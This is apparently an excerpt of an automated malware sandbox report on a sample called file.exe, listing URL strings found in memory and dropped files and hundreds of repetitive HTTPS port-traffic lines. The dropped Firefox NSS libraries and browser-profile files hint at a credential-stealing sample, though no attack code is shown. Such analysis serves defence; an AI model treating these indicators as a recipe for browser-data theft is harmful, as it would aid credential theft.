Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376945500498524.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://open.spotify.com
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_464.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.com/
Source: CFIJEBFCGDAAKFHIDBFIDBKFHJ.0.dr	String found in binary or memory: https://support.mozilla.org
Source: CFIJEBFCGDAAKFHIDBFIDBKFHJ.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CFIJEBFCGDAAKFHIDBFIDBKFHJ.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://tidal.com/
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://web.telegram.org/
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://web.whatsapp.com
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: EHJJKFCB.0.dr, Web Data.10.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 8e16b6fa-2f4c-4cf4-8b41-b0ca2f40d532.tmp.11.dr, 6052d31c-83b8-4476-97d3-a58ffd9292ad.tmp.11.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_464.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_464.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_464.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.instagram.com
Source: file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.last.fm/
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.messenger.com
Source: CFIJEBFCGDAAKFHIDBFIDBKFHJ.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1994265116.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.1994265116.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/DBFHDGCAFCAE
Source: CFIJEBFCGDAAKFHIDBFIDBKFHJ.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: file.exe, 00000000.00000002.1994265116.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1994265116.0000000000367000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1994265116.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.1994265116.0000000000367000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: CFIJEBFCGDAAKFHIDBFIDBKFHJ.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: CFIJEBFCGDAAKFHIDBFIDBKFHJ.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1994265116.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1890965686.0000000023841000.00000004.00000020.00020000.00000000.sdmp, CFIJEBFCGDAAKFHIDBFIDBKFHJ.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1994265116.0000000000284000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.office.com
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.tiktok.com/
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://www.youtube.com
Source: 6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 56434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 56388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 56400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 56445 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 56422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56411 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 56421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56378 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 56409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 56390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56369
Source: unknown	Network traffic detected: HTTP traffic on port 56455 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56375
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56376
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56377
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56370
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56372
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56373
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 56444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 56389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56378
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56379
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56385
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56386
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56387
Source: unknown	Network traffic detected: HTTP traffic on port 56410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56388
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56381
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56382
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56383
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56384
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56380
Source: unknown	Network traffic detected: HTTP traffic on port 56466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56389
Source: unknown	Network traffic detected: HTTP traffic on port 56432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56398
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56399
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56392
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56393
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56394
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56395
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56390
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56391
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56379 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 56453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56393 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56383 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56371 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56415 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56373 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56449 -> 443
